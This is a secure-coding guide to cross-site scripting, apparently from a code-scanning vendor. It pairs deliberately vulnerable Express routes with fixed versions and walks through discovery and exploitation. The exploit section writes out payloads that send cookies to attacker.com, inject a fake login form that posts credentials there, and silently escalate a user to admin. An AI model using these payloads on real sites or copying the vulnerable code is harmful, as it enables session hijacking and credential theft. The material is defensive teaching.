Cross Site Scripting (XSS)
Cross Site Scripting (XSS) at a glance
Overview
XSS happens when untrusted data is placed in a page without proper output encoding or sanitization. It can be reflected in the response to a request, stored in a database and served later, or introduced via client side DOM manipulation. Templating helpers that disable escaping and DOM APIs that bypass frameworks' protections are frequent culprits.
Where it occurs
It occurs when untrusted input from queries, forms, CMS content, or integrations flows into unsafe outputs like templates, attributes, event handlers, or client-side rendering functions.
Impact
Attackers can steal sessions, read or alter sensitive data, pivot to CSRF attacks, or install keyloggers and web skimmers. In multi-tenant apps, a stored XSS can compromise every user that views the page.
Prevention
Prevent XSS by keeping template autoescaping enabled, encoding output per context, sanitizing rich HTML with strict allowlists, enforcing a nonce-based CSP, avoiding inline handlers, and never using raw HTML without sanitization.
Examples
Switch tabs to view language/framework variants.
Express, reflected XSS via unescaped query param
The server echoes req.query.q directly into HTML without escaping.
const express = require('express');
const app = express();
app.get('/search', (req, res) => {
const q = req.query.q || '';
// BUG: direct interpolation into HTML
res.type('html').send(`<h1>Results for: ${q}</h1>`);
});- Line 6: Unescaped user input lands in HTML context
Placing raw input into an HTML context lets attackers inject script tags or event handlers that run in the user's browser.
const express = require('express');
const he = require('he');
const app = express();
app.get('/search', (req, res) => {
const q = String(req.query.q || '');
const safe = he.encode(q, { useNamedReferences: true });
res.type('html').send(`<h1>Results for: ${safe}</h1>`);
});- Line 6: HTML encode before insertion
Encoding converts special characters into harmless entities, removing the ability to break out of the context.
Engineer Checklist
-
Keep template autoescaping on, never use raw/safe for user input
-
Encode for context: HTML, attribute, URL, JS string
-
Sanitize rich HTML with a tiny allow list, strip everything else
-
Avoid dangerouslySetInnerHTML unless input is sanitized
-
Add a strict CSP with nonces to reduce impact
End-to-End Example
An Express search route reflects the q parameter into HTML. Attackers craft a link that injects a script. Users who click the link run the attacker's code in their session.
// Node.js/Express - Vulnerable to XSS
// VULNERABLE: Reflected XSS in search results
app.get('/search', (req, res) => {
const q = req.query.q || '';
// VULNERABLE: Directly inserting user input into HTML!
// Attacker sends: ?q=<script>alert(document.cookie)</script>
// Browser executes the script in victim's context
res.type('html').send(`<h1>Results for: ${q}</h1>`);
});
// VULNERABLE: XSS in HTML attribute
app.get('/profile', async (req, res) => {
const user = await User.findById(req.session.userId);
// VULNERABLE: User-controlled data in attribute without encoding
// User sets name to: " onload="alert(document.cookie)
// Results in: <img src="avatar.jpg" alt="" onload="alert(document.cookie)">
const html = `
<html>
<body>
<h1>Welcome!</h1>
<img src="avatar.jpg" alt="${user.name}">
<p>Bio: ${user.bio}</p>
</body>
</html>
`;
res.type('html').send(html);
});
// VULNERABLE: Stored XSS in comments
app.post('/api/comments', authenticateSession, async (req, res) => {
const { text } = req.body;
// VULNERABLE: Storing unsanitized HTML from user
await Comment.create({
userId: req.session.userId,
text: text // No sanitization!
});
res.json({ message: 'Comment posted' });
});
app.get('/api/comments', async (req, res) => {
const comments = await Comment.findAll();
// VULNERABLE: Rendering stored user content without escaping
// If a comment contains <script>...</script>, it executes for all viewers!
let html = '<div class="comments">';
for (const comment of comments) {
html += `<div class="comment">${comment.text}</div>`;
}
html += '</div>';
res.type('html').send(html);
});
// VULNERABLE: DOM-based XSS via URL fragment
app.get('/dashboard', (req, res) => {
// VULNERABLE: Passes URL fragment to client-side JS
const html = `
<html>
<head>
<script>
// VULNERABLE: Reading from location.hash and inserting into DOM
window.onload = function() {
const message = window.location.hash.substring(1);
document.getElementById('message').innerHTML = message;
};
</script>
</head>
<body>
<div id="message"></div>
</body>
</html>
`;
res.type('html').send(html);
});
// VULNERABLE: XSS in JavaScript context
app.get('/settings', async (req, res) => {
const user = await User.findById(req.session.userId);
// VULNERABLE: Injecting user data directly into <script> tag
// User sets preferences to: "; alert(document.cookie); //
// Results in: var prefs = ""; alert(document.cookie); //";
const html = `
<html>
<head>
<script>
var userName = "${user.name}";
var preferences = "${user.preferences}";
console.log('User: ' + userName);
</script>
</head>
<body>
<h1>Settings</h1>
</body>
</html>
`;
res.type('html').send(html);
});
// VULNERABLE: XSS via redirect parameter
app.get('/login', (req, res) => {
const next = req.query.next || '/dashboard';
// VULNERABLE: Using user input in href attribute
// Attacker sends: ?next=javascript:alert(document.cookie)
const html = `
<html>
<body>
<form action="/do-login" method="POST">
<input name="email" type="email" />
<input name="password" type="password" />
<input name="next" type="hidden" value="${next}" />
<button>Login</button>
</form>
<p><a href="${next}">Go back</a></p>
</body>
</html>
`;
res.type('html').send(html);
});
// VULNERABLE: JSON endpoint with HTML content-type
app.get('/api/user-data', async (req, res) => {
const user = await User.findById(req.query.id);
// VULNERABLE: Returning JSON with text/html content-type
// Browser interprets as HTML, scripts can execute
res.type('html');
res.send(JSON.stringify({
name: user.name, // If name contains <script>, it executes!
bio: user.bio
}));
});
// VULNERABLE: React dangerouslySetInnerHTML without sanitization
app.get('/blog/:id', async (req, res) => {
const post = await BlogPost.findById(req.params.id);
// VULNERABLE: Serving unsanitized HTML to React component
const html = `
<html>
<body>
<div id="root"></div>
<script>
const postContent = ${JSON.stringify(post.content)};
// React component uses dangerouslySetInnerHTML with this data
// If post.content has <img src=x onerror=alert(1)>, it executes
</script>
</body>
</html>
`;
res.type('html').send(html);
});// Node.js/Express - Secure XSS prevention
const he = require('he'); // HTML entity encoder
const DOMPurify = require('isomorphic-dompurify'); // HTML sanitizer
// SECURE: Reflected XSS prevention with HTML encoding
app.get('/search', (req, res) => {
const q = String(req.query.q || '');
// SECURE: HTML-encode user input before inserting
// Converts < to <, > to >, etc.
const safe = he.encode(q, { useNamedReferences: true });
res.type('html').send(`<h1>Results for: ${safe}</h1>`);
});
// SECURE: XSS prevention in attributes with proper encoding
app.get('/profile', async (req, res) => {
const user = await User.findById(req.session.userId);
// SECURE: Use template engine with auto-escaping (e.g., EJS, Pug)
// Or manually encode for HTML context
const safeName = he.encode(user.name);
const safeBio = he.encode(user.bio);
const html = `
<html>
<body>
<h1>Welcome!</h1>
<img src="avatar.jpg" alt="${safeName}">
<p>Bio: ${safeBio}</p>
</body>
</html>
`;
res.type('html').send(html);
});
// SECURE: Better approach - use template engine
const ejs = require('ejs');
app.get('/profile-safe', async (req, res) => {
const user = await User.findById(req.session.userId);
// SECURE: EJS auto-escapes by default with <%= %>
const html = ejs.render(`
<html>
<body>
<h1>Welcome!</h1>
<img src="avatar.jpg" alt="<%= name %>">
<p>Bio: <%= bio %></p>
</body>
</html>
`, { name: user.name, bio: user.bio });
res.type('html').send(html);
});
// SECURE: Stored XSS prevention with sanitization
app.post('/api/comments', authenticateSession, async (req, res) => {
let { text } = req.body;
// SECURE: Validate input
if (!text || text.length > 5000) {
return res.status(400).json({ error: 'Invalid comment' });
}
// SECURE: Sanitize HTML - allow only safe tags
const cleanText = DOMPurify.sanitize(text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
});
await Comment.create({
userId: req.session.userId,
text: cleanText // Store sanitized version
});
res.json({ message: 'Comment posted' });
});
app.get('/api/comments', async (req, res) => {
const comments = await Comment.findAll();
// SECURE: Even though we sanitized on input, still encode on output
let html = '<div class="comments">';
for (const comment of comments) {
const safeText = he.encode(comment.text);
html += `<div class="comment">${safeText}</div>`;
}
html += '</div>';
res.type('html').send(html);
});
// SECURE: DOM-based XSS prevention
app.get('/dashboard', (req, res) => {
const html = `
<html>
<head>
<script>
window.onload = function() {
const message = window.location.hash.substring(1);
// SECURE: Use textContent instead of innerHTML
// This treats input as text, not HTML
document.getElementById('message').textContent = message;
};
</script>
</head>
<body>
<div id="message"></div>
</body>
</html>
`;
res.type('html').send(html);
});
// SECURE: XSS prevention in JavaScript context
app.get('/settings', async (req, res) => {
const user = await User.findById(req.session.userId);
// SECURE: JSON.stringify with proper escaping
// Escapes quotes, backslashes, and HTML special chars
const safeName = JSON.stringify(user.name);
const safePrefs = JSON.stringify(user.preferences);
const html = `
<html>
<head>
<script>
// SECURE: Values are properly escaped for JavaScript
var userName = ${safeName};
var preferences = ${safePrefs};
console.log('User: ' + userName);
</script>
</head>
<body>
<h1>Settings</h1>
</body>
</html>
`;
res.type('html').send(html);
});
// SECURE: XSS prevention in redirect parameter
app.get('/login', (req, res) => {
const next = req.query.next || '/dashboard';
// SECURE: Validate redirect URL against allow-list
const ALLOWED_REDIRECTS = ['/dashboard', '/profile', '/settings'];
const safeNext = ALLOWED_REDIRECTS.includes(next) ? next : '/dashboard';
// SECURE: HTML-encode even validated URLs
const encodedNext = he.encode(safeNext);
const html = `
<html>
<body>
<form action="/do-login" method="POST">
<input name="email" type="email" />
<input name="password" type="password" />
<input name="next" type="hidden" value="${encodedNext}" />
<button>Login</button>
</form>
<p><a href="${encodedNext}">Go back</a></p>
</body>
</html>
`;
res.type('html').send(html);
});
// SECURE: JSON endpoint with correct content-type
app.get('/api/user-data', async (req, res) => {
const user = await User.findById(req.query.id);
// SECURE: Use proper JSON content-type
// Browser won't execute scripts in JSON responses
res.type('application/json');
res.json({
name: user.name,
bio: user.bio
});
});
// SECURE: Content Security Policy
app.use((req, res, next) => {
// SECURE: CSP prevents inline scripts and restricts sources
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'nonce-${nonce}'; " + // Only allow scripts with nonce
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"object-src 'none'; " +
"base-uri 'self'"
);
next();
});
// SECURE: React with proper sanitization
app.get('/blog/:id', async (req, res) => {
const post = await BlogPost.findById(req.params.id);
// SECURE: Sanitize rich content before storing
const sanitizedContent = DOMPurify.sanitize(post.content, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i
});
const html = `
<html>
<body>
<div id="root"></div>
<script>
// SECURE: Content is pre-sanitized
const postContent = ${JSON.stringify(sanitizedContent)};
// React can safely use dangerouslySetInnerHTML with sanitized content
</script>
</body>
</html>
`;
res.type('html').send(html);
});
// SECURE: Using a modern framework (React, Vue, Angular)
// These frameworks automatically escape by default
app.get('/modern-app', (req, res) => {
const html = `
<html>
<body>
<div id="root"></div>
<script>
// React example - automatic XSS protection
function SearchResults({ query }) {
// SECURE: React escapes {query} automatically
return <h1>Results for: {query}</h1>;
}
</script>
</body>
</html>
`;
res.send(html);
});Discovery
Test if user input is reflected in HTML output without proper encoding. Start with benign probes, then test for script execution contexts.
-
1. Test input reflection
httpAction
Submit alphanumeric test string to confirm reflection in page
Request
GET https://app.example.com/search?q=TESTXSS123Response
Status: 200Body:{ "html": "<div class='search-results'>\\n <h2>Results for: TESTXSS123</h2>\\n <p>No results found for 'TESTXSS123'</p>\\n</div>" }Artifacts
input_reflected html_context -
2. Test for basic XSS
httpAction
Inject script tag to test for XSS vulnerability
Request
GET https://app.example.com/search?q=<script>alert(1)</script>Response
Status: 200Body:{ "html": "<div class='search-results'>\\n <h2>Results for: <script>alert(1)</script></h2>\\n <p>No results found for '<script>alert(1)</script>'</p>\\n</div>", "note": "Script executes in browser - alert(1) popup appears" }Artifacts
xss_confirmed script_execution no_encoding -
3. Test attribute context XSS
httpAction
Test if input appears in HTML attributes for event handler injection
Request
GET https://app.example.com/search?q=\" onload=\"alert(document.cookie)Response
Status: 200Body:{ "html": "<input type='text' value='\\\" onload=\\\"alert(document.cookie)' class='search-box'>\\n<div>Searching for: \\\" onload=\\\"alert(document.cookie)</div>", "note": "Event handler injected into value attribute" }Artifacts
attribute_context_xss event_handler_injection cookie_access
Exploit steps
Attacker injects malicious JavaScript to steal session cookies, redirect users to phishing sites, or perform actions on behalf of victims.
-
1. Steal session cookies
Cookie theft via XSS
httpAction
Inject script to exfiltrate session cookies to attacker-controlled server
Request
GET https://app.example.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>Response
Status: 200Body:{ "html": "<h2>Results for: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script></h2>", "note": "Victim's browser executes script, sends cookies to attacker", "cookies_stolen": "session_id=abc123xyz789; user_id=42; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." }Artifacts
session_cookie_theft auth_token_stolen session_hijacking -
2. Phishing attack via DOM manipulation
Inject fake login form
httpAction
Replace page content with fake login form to capture credentials
Request
GET https://app.example.com/search?q=<script>document.body.innerHTML='<h1>Session Expired</h1><form action=https://attacker.com/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>'</script>Response
Status: 200Body:{ "note": "Page content replaced with fake login form. Victim enters credentials: alice@company.com / P@ssw0rd123. POST sent to https://attacker.com/phish with user=alice@company.com&pass=P@ssw0rd123" }Artifacts
phishing_form credential_theft dom_manipulation -
3. Perform unauthorized actions
CSRF via XSS
httpAction
Use XSS to make authenticated requests on victim's behalf
Request
GET https://app.example.com/search?q=<script>fetch('/api/users/42/role',{method:'PUT',body:JSON.stringify({role:'admin'}),headers:{'Content-Type':'application/json'}})</script>Response
Status: 200Body:{ "note": "Victim's browser makes authenticated PUT /api/users/42/role with body {role:'admin'}. API returns {success:true, user_id:42, new_role:'admin'}. Victim's account escalated to admin." }Artifacts
privilege_escalation unauthorized_api_call account_compromise
Specific Impact
Attackers steal session cookies, read CSRF tokens, and act as victims. In admin panels, this can lead to full tenant compromise.
Stored variants spread to every viewer, enabling worm-like propagation and large scale data exposure.
Fix
Encoding for HTML context prevents injection. Add a CSP with nonces to reduce impact if a bypass appears elsewhere.
Detect This Vulnerability in Your Code
Sourcery automatically identifies cross site scripting (xss) vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free